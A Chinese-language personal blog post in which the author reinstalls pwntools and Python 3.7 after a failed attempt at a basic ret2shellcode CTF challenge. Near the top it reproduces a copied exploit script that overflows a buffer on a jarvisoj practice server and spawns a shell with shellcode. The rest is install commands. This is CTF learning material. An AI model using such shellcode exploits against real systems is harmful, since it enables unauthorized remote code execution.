記一次five熬夜重灌pwntools

今天是個好日子，今天是12.21，冬至
今天不是好日子，做一道簡單題的時候發現pwntools沒裝好嗚嗚嗚
這是一道基礎的ret2shellcode，但是也不會做的我直奔wp去抄exp

from pwn import *
 
p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")
#接收從下標為第14位到倒數第二位的字串
text = p.recvline()[14:-2]
print text[14:-2]
#將text字串通過int函式轉換為16進位制的地址，作為跳轉的地址
buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh())
 
payload = 'a' * (0x88+4-len(shellcode)) + shellcode +  p32(buf_addr)
p.send(payload)
p.interactive()

然後執行，報錯：

發現是shellcraft.sh()這裡出了問題

啊這。。。這還能怎麼辦呢，重灌pwntools吧嗚嗚嗚
但是又遇到了問題

那，只好用python3安裝pwntools了

首先安裝vm tools

sudo apt-get install vim

執行所有升級

sudo apt-get update
sudo apt-get upgrade -y

安裝編譯Python源程式所需的包

sudo apt install build-essential -y
sudo apt install libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev -y
sudo apt-get install zlib1g-dev

下載Python 3.7源程式壓縮包

wget https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tgz

解壓縮

tar -xzvf Python-3.7.1.tgz

配置

cd Python-3.7.1
./configure --enable-optimizations

編譯和安裝Python 3.7

sudo make
sudo make install#這裡遇到了報錯，根據提示改成了sudo -H make install，完成

安裝、升級、解除安裝pip和更換pip源

sudo apt-get install python3-pip
sudo pip3 install --upgrade pip#這條報錯，改成-H）之後發現沒有影響
sudo apt-get remove python3-pip
sudo pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple#這條也是warning，改成-H了，好像幹了點壞事）

安裝git

sudo apt install git

進行git配置

sudo git config --global user.name ‘自定義使用者名稱’
sudo git config --global user.email ‘郵箱’

檢視配置

git config –list

pwntools

sudo apt-get install python python-pip python-dev libssl-dev libffi-dev build-essential#這條依舊報錯，然後有個手滑，加了-H
sudo pip install -U setuptools
sudo pip install --upgrade pip
sudo pip install --upgrade pwntools#上面三條全部報錯，沒加-H，然後飆紅了，給前兩條加了最後一條沒加，貌似成功了

裝好了，還是比較蠢的2333
